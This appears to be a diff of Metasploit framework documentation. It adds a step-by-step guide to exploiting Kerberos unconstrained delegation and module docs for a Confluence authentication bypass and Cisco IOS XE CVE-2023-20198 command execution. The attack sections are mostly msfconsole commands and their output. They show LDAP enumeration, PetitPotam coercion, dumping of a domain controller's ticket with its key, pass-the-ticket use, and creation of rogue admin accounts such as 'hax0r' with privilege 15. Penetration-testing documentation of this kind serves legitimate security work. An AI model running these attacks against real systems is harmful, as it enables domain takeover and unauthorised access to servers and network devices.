- Inspecting Tickets - Kerberos tickets can be inspected with the [[auxiliary/admin/kerberos/inspect_ticket|pentesting/active-directory/kerberos/inspect_ticket.md]] module. If the encryption key is known, the decrypted contents can be displayed.
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services suh as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services such as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Kerberoasting|kerberos/kerberoasting.md]] - Finding services in Active Directory that are associated with normal user accounts which may have brute forcible encryption keys that lead to Active Directory credentials.
|
||||
|
||||
@@ -130,11 +130,13 @@ Required options:
|
||||
* `${Prefix}::Rhostname` -- The hostname of the target system. This value should be either the hostname `WIN-MIJZ318SQH` or
|
||||
the FQDN like `WIN-MIJZ318SQH.msflab.local`. i.e. `Smb::Rhostname=WIN-MIJZ318SQH.msflab.local`
|
||||
* `${Prefix}Domain` -- The domain name of the target system, e.g. `msflab.local`. i.e. `SmbDomain=msflab.local`
|
||||
* `DomainControllerRhost` -- The IP address of the domain controller to use for kerberos authentication. i.e. `DomainControllerRhost=192.168.123.13`
|
||||
|
||||
Optional options:
|
||||
* `DomainControllerRhost` -- The IP address or hostname of the domain controller to use for Kerberos authentication.
|
||||
i.e. `DomainControllerRhost=192.168.123.13`. If this value is not specified, Metasploit will look it up via the
|
||||
realm's (the `${Prefix}Domain` option) SRV record in DNS.
|
||||
* `${Prefix}::Krb5Ccname` -- The path to a CCACHE file to use for authentication. This is comparable to setting the
|
||||
`KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache`
|
||||
`KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache`.
|
||||
* `KrbCacheMode` -- The cache storage mode to use, one of the following four options:
|
||||
* `none` -- No cache storage is used, new tickets are requested and no tickets are stored.
|
||||
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
|
||||
|
||||
@@ -0,0 +1,226 @@
|
||||
# Unconstrained Delegation Exploitation
|
||||
|
||||
If a computer account is configured for unconstrained delegation, and an attacker has administrative access to it then
|
||||
the attacker can leverage it to compromise the Active Directory domain.
|
||||
|
||||
## Lab setup
|
||||
|
||||
For this attack to work there must be a computer account (workstation or server) in the active directory domain that has
|
||||
been configured for unconstrained delegation.
|
||||
|
||||
On the domain controller:
|
||||
|
||||
1. Open "Active Directory Users and Computers"
|
||||
2. Navigate to the computer account, right click and select "Properties"
|
||||
3. In the "Delegation" tab, select "Trust this computer for delegation to any service (Kerberos only)"
|
||||
|
||||
On the target computer:
|
||||
|
||||
1. Force an update of group policy by running `gpupdate /force`
|
||||
2. Reboot the computer
|
||||
|
||||
## Attack Workflow
|
||||
|
||||
This attack assumes that the attacker has:
|
||||
|
||||
1. The IP address of the domain controller.
|
||||
2. The active directory domain name.
|
||||
3. A compromised domain account (no special privileges are necessary).
|
||||
4. The ability to fully compromise a target system through some means.
|
||||
5. (Optional but recommended) Metasploit running with an attached database so the Kerberos ticket cache can be used.
|
||||
Verify this using the `db_status` command.
|
||||
|
||||
At a high-level the summary to leverage this attack chain is:
|
||||
|
||||
1. Identify a target computer account configured with unconstrained delegation.
|
||||
2. Compromise that target computer account to open a Meterpreter session with administrative privileges (SYSTEM works).
|
||||
3. Coerce authentication to the compromised target from a domain controller.
|
||||
4. Dump the Kerberos tickets from the compromised targets to obtain a TGT from the domain controller's computer account.
|
||||
5. Use the TGT to authenticate to the domain controller as itself (the computer account).
|
||||
|
||||
### Target Identification
|
||||
The unconstrained delegation setting is stored as a bit flag in the `userAccountControl` LDAP attribute. A domain
|
||||
account can be used with the `auxiliary/gather/ldap_query` module to identify computer accounts configured for
|
||||
unconstrained delegation. Note that by default domain controllers themselves are configured for unconstrained delegation
|
||||
and should be ignored as targets.
|
||||
|
||||
Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
|
||||
```
|
||||
msf6 > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
|
||||
DOMAIN => msflab.local
|
||||
msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
|
||||
ACTION => ENUM_UNCONSTRAINED_DELEGATION
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
|
||||
CN=WS01 CN=Computers DC=msflab DC=local
|
||||
=======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn WS01
|
||||
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
|
||||
samaccountname WS01$
|
||||
|
||||
CN=DC OU=Domain Controllers DC=msflab DC=local
|
||||
==============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn DC
|
||||
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=msflab,DC=local || CN=Cert Publishers,CN=Users,DC=msflab,DC=local
|
||||
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
|
||||
samaccountname DC$
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
|
||||
domain controllers to remove from the list of potential targets.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
|
||||
ACTION => ENUM_DOMAIN_CONTROLLERS
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
|
||||
CN=DC OU=Domain Controllers DC=msflab DC=local
|
||||
==============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
distinguishedname CN=DC,OU=Domain Controllers,DC=msflab,DC=local
|
||||
dnshostname DC.msflab.local
|
||||
name DC
|
||||
operatingsystem Windows Server 2019 Standard
|
||||
operatingsystemversion 10.0 (17763)
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
|
||||
|
||||
### Exploitation
|
||||
Now the WS01 system needs to be compromised through some means to obtain a Meterpreter session. Once a Meterpreter
|
||||
session has been obtained, the Domain Controller needs to be coerced into authenticating to the target. The
|
||||
`auxiliary/scanner/dcerpc/petitpotam` module can be used for this purpose. Use the module, and take care to set the
|
||||
`LISTENER` option to **the hostname of the compromised host**. The hostname must be used and not an IP address. Set the
|
||||
remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `SMBPass` to the credentials of the
|
||||
compromised domain account.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/dcerpc/petitpotam
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
|
||||
LISTENER => ws01.msflab.local
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
|
||||
SMBPass => Password1!
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
|
||||
|
||||
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
|
||||
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) >
|
||||
```
|
||||
|
||||
If the module does not indicate that the attack was successful, another tool like
|
||||
[`Coercer`](https://github.com/p0dalirius/Coercer) can be used to try additional methods.
|
||||
|
||||
Now that the domain controller has authenticated to the target it's necessary to dump the kerberos tickets from the
|
||||
compromised target. Use the `post/windows/manage/kerberos_tickets` module and the `DUMP_TICKETS` action to dump the TGTs
|
||||
from the compromised host. If the attack was successful there should be at least one TGT from the domain controller's
|
||||
computer account.
|
||||
|
||||
```
|
||||
msf6 > use post/windows/manage/kerberos_tickets
|
||||
msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
|
||||
SERVICE => krbtgt/*
|
||||
msf6 post(windows/manage/kerberos_tickets) > run
|
||||
|
||||
[*] LSA Handle: 0x000001efe1c415a0
|
||||
[*] LogonSession LUID: 0x00004bc1d
|
||||
[*] User: MSFLAB\DC$
|
||||
[*] Session: 0
|
||||
[*] AuthenticationPackage: Kerberos
|
||||
[*] LogonType: Network (3)
|
||||
[*] LogonTime: 2023-08-23 08:33:17 -0400
|
||||
[*] Ticket[0]
|
||||
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823151727_default_192.168.159.10_mit.kerberos.cca_488233.bin
|
||||
Primary Principal: DC$@MSFLAB.LOCAL
|
||||
Ccache version: 4
|
||||
|
||||
Creds: 1
|
||||
Credential[0]:
|
||||
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||
Client: DC$@MSFLAB.LOCAL
|
||||
Ticket etype: 18 (AES256)
|
||||
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
|
||||
Subkey: false
|
||||
Ticket Length: 1006
|
||||
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 1969-12-31 19:00:00 -0500
|
||||
Start time: 2023-08-23 08:33:17 -0400
|
||||
End time: 2023-08-23 18:33:17 -0400
|
||||
Renew Till: 2023-08-30 08:33:17 -0400
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: MSFLAB.LOCAL
|
||||
Server Name: krbtgt/MSFLAB.LOCAL
|
||||
Encrypted Ticket Part:
|
||||
Ticket etype: 18 (AES256)
|
||||
Key Version Number: 2
|
||||
Cipher:
|
||||
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
|
||||
[*] LogonSession LUID: 0x00001052b
|
||||
[*] User: Window Manager\DWM-1
|
||||
[*] Session: 1
|
||||
[*] AuthenticationPackage: Negotiate
|
||||
[*] LogonType: Interactive (2)
|
||||
[*] LogonTime: 2023-08-23 08:32:38 -0400
|
||||
|
||||
... omitted for brevity ...
|
||||
```
|
||||
|
||||
In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon session with LUID `0x00004bc1d`. The
|
||||
ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
|
||||
|
||||
```
|
||||
msf6 post(windows/manage/kerberos_tickets) > klist
|
||||
Kerberos Cache
|
||||
==============
|
||||
id host principal sname issued status path
|
||||
-- ---- --------- ----- ------ ------ ----
|
||||
411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
|
||||
407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
|
||||
|
||||
msf6 post(windows/manage/kerberos_tickets) >
|
||||
```
|
||||
|
||||
### Using The Ticket
|
||||
Now that at TGT for the domain controller has been obtained, it can be used in a Pass-The-Ticket style attack whereby
|
||||
the attacker uses it to authenticate to the target. The `auxiliary/gather/windows_secrets_dump` module is a good one to
|
||||
use for this purpose as it will yield additional accounts while avoiding running any kind of payload on the domain
|
||||
controller.
|
||||
+12
-1
@@ -186,7 +186,11 @@ NAVIGATION_CONFIG = [
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
|
||||
title: 'RBCD - Resource-based constrained delegation'
|
||||
title: 'Resource-based constrained delegation (RBCD)'
|
||||
},
|
||||
{
|
||||
path: 'kerberos/unconstrained_delegation.md',
|
||||
title: 'Unconstrained delegation'
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -272,6 +276,10 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'How-to-use-msfvenom.md',
|
||||
nav_order: 7
|
||||
},
|
||||
{
|
||||
path: 'Managing-Sessions.md',
|
||||
nav_order: 8
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -317,6 +325,9 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'Metasploit-Web-Service.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-Configure-DNS.md'
|
||||
},
|
||||
{
|
||||
title: 'Meterpreter',
|
||||
folder: 'meterpreter',
|
||||
|
||||
@@ -3,6 +3,8 @@ Request certificates via MS-ICPR (Active Directory Certificate Services). Depend
|
||||
template's configuration the resulting certificate can be used for various operations such as authentication.
|
||||
PFX certificate files that are saved are encrypted with a blank password.
|
||||
|
||||
This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
|
||||
|
||||
## Module usage
|
||||
|
||||
1. From msfconsole
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an Broken Access Control vulnerability in Atlassian Confluence servers leads to Authentication Bypass.
|
||||
|
||||
A specially crafted request can be create new admin account without authorization in the Atlassian server.
|
||||
|
||||
Affecting Atlassian Confluence from version 8.0.0 to before 8.3.3, from version 8.4.0 before 8.4.3 and from version 8.5.0 before 8.5.2.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Setting up a working installation of Atlassian Confluence Server before 8.0.0
|
||||
2. Start `msfconsole`
|
||||
3. `use use auxiliary/admin/http/atlassian_confluence_auth_bypass`
|
||||
4. `set RHOST <IP>`
|
||||
5. `set RPORT <PORT>`
|
||||
6. `check`
|
||||
7. You should see `The target is vulnerable`
|
||||
8. `set NEW_USERNAME <username>`
|
||||
9. `set NEW_PASSWORD <password>`
|
||||
10. `run`
|
||||
11. You should get a new admin account.
|
||||
|
||||
## Options
|
||||
### TARGETURI
|
||||
Path to Atlassian Confluence installation ("/" is the default)
|
||||
|
||||
### NEW_USERNAME
|
||||
Username to be used when creating a new user with admin privileges. The username must not contain capital letters.
|
||||
|
||||
### NEW_PASSWORD
|
||||
Password to be used when creating a new user with admin privileges.
|
||||
|
||||
### NEW_EMAIL
|
||||
E-mail to be used when creating a new user with admin privileges.
|
||||
|
||||
## Scenarios
|
||||
### Tested on Confluence Server 8.0.0 with Linux target (Ubuntu 20.04)
|
||||
```
|
||||
msf6 > use auxiliary/multi/http/atlassian_confluence_auth_bypass
|
||||
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set RHOSTS <YOUR_TARGET>
|
||||
RHOSTS => <YOUR_TARGET>
|
||||
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_USERNAME admin_1337
|
||||
NEW_USERNAME => admin_1337
|
||||
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_PASSWORD admin_1337
|
||||
NEW_PASSWORD => admin_1337
|
||||
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > run
|
||||
[*] Running module against <YOUR_TARGET>
|
||||
|
||||
[+] Admin user was created successfully. Credentials: admin_1337 - admin_1337
|
||||
[+] Now you can login as adminstrator from: http://<YOUR_TARGET>:8090/login.action
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,172 @@
|
||||
## Vulnerable Application
|
||||
This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the
|
||||
Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15.
|
||||
|
||||
You must specify the IOS command mode to execute a CLI command in. Valid modes are `user`, `privileged`, and
|
||||
`global`. To run a command in "Privileged" mode, set the `CMD` option to the command you want to run,
|
||||
e.g. `show version` and set the `MODE` to `privileged`. To run a command in "Global Configuration" mode, set
|
||||
the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r` and set
|
||||
the `MODE` to `global`.
|
||||
|
||||
The vulnerable IOS XE versions are:
|
||||
|
||||
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
|
||||
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
|
||||
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
|
||||
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
|
||||
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
|
||||
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
|
||||
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
|
||||
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
|
||||
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
|
||||
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
|
||||
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
|
||||
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
|
||||
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
|
||||
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
|
||||
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
|
||||
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
|
||||
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
|
||||
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
|
||||
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
|
||||
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
Or
|
||||
|
||||
* Setup a virtualized environment.
|
||||
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
|
||||
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
|
||||
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
|
||||
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
|
||||
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
|
||||
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
|
||||
* Create a new CSR1000v instance as a QEMU device.
|
||||
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
|
||||
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
|
||||
be accessible to a remote attacker.
|
||||
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
|
||||
the device:
|
||||
```
|
||||
Router>enable
|
||||
Router#config
|
||||
Router(config)#ip http server
|
||||
router(config)#ip http secure-server
|
||||
router(config)#ip http authentication local
|
||||
router(config)#username admin privilege 15 secret qwerty
|
||||
router(config)#exit
|
||||
Router#copy running-config startup-config
|
||||
```
|
||||
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set CMD "username hax0r privilege 15 secret hax0r"`
|
||||
5. `set MODE global`
|
||||
6. `run`
|
||||
7. Visit `https://<TARGET_IP_ADDRESS>/webui/` in a browser and log in with username `hax0r` and password `hax0r`.
|
||||
|
||||
## Options
|
||||
|
||||
### CMD
|
||||
|
||||
The Cisco CLI command to execute.
|
||||
|
||||
### MODE
|
||||
Cisco IOS commands cna be executed in one of several modes, specifically "User EXEC" mode, "Privileged EXEC" mode, and
|
||||
"Global Configuration" mode. The `MODE` options lets you explicitly set what mode you want the `CMD` to execute in. Valid
|
||||
modes are `user`, `privileged`, and `global`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
|
||||
RHOST => 192.168.86.57
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version"
|
||||
CMD => show version
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged
|
||||
MODE => privileged
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMD show version yes The CLI command to execute.
|
||||
MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
|
||||
[*] Running module against 192.168.86.57
|
||||
|
||||
|
||||
Cisco IOS XE Software, Version 16.12.03
|
||||
Cisco IOS Software [Gibraltar], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.12.3, RELEASE SOFTWARE (fc5)
|
||||
Technical Support: http://www.cisco.com/techsupport
|
||||
Copyright (c) 1986-2020 by Cisco Systems, Inc.
|
||||
Compiled Mon 09-Mar-20 21:50 by mcpre
|
||||
Cisco IOS-XE software, Copyright (c) 2005-2020 by cisco Systems, Inc.
|
||||
All rights reserved. Certain components of Cisco IOS-XE software are
|
||||
licensed under the GNU General Public License ("GPL") Version 2.0. The
|
||||
software code licensed under GPL Version 2.0 is free software that comes
|
||||
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
|
||||
GPL code under the terms of GPL Version 2.0. For more details, see the
|
||||
documentation or "License Notice" file accompanying the IOS-XE software,
|
||||
or the applicable URL provided on the flyer accompanying the IOS-XE
|
||||
software.
|
||||
ROM: IOS-XE ROMMON
|
||||
router uptime is 3 hours, 59 minutes
|
||||
Uptime for this control processor is 4 hours, 2 minutes
|
||||
System returned to ROM by reload
|
||||
System image file is "bootflash:packages.conf"
|
||||
Last reload reason: reload
|
||||
This product contains cryptographic features and is subject to United
|
||||
States and local country laws governing import, export, transfer and
|
||||
use. Delivery of Cisco cryptographic products does not imply
|
||||
third-party authority to import, export, distribute or use encryption.
|
||||
Importers, exporters, distributors and users are responsible for
|
||||
compliance with U.S. and local country laws. By using this product you
|
||||
agree to comply with applicable laws and regulations. If you are unable
|
||||
to comply with U.S. and local laws, return this product immediately.
|
||||
A summary of U.S. laws governing Cisco cryptographic products may be found at:
|
||||
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
|
||||
If you require further assistance please contact us by sending email to
|
||||
export@cisco.com.
|
||||
License Level: ax
|
||||
License Type: N/A(Smart License Enabled)
|
||||
Next reload license Level: ax
|
||||
Smart Licensing Status: UNREGISTERED/No Licenses in Use
|
||||
cisco CSR1000V (VXE) processor (revision VXE) with 1113574K/3075K bytes of memory.
|
||||
Processor board ID 9OVFUOGPESO
|
||||
4 Gigabit Ethernet interfaces
|
||||
32768K bytes of non-volatile configuration memory.
|
||||
3012164K bytes of physical memory.
|
||||
6188032K bytes of virtual hard disk at bootflash:.
|
||||
0K bytes of WebUI ODM Files at webui:.
|
||||
Configuration register is 0x2102
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
|
||||
[*] Running module against 192.168.86.57
|
||||
|
||||
|
||||
*15:24:05.110 UTC Fri Nov 3 2023
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
|
||||
```
|
||||
@@ -0,0 +1,130 @@
|
||||
## Vulnerable Application
|
||||
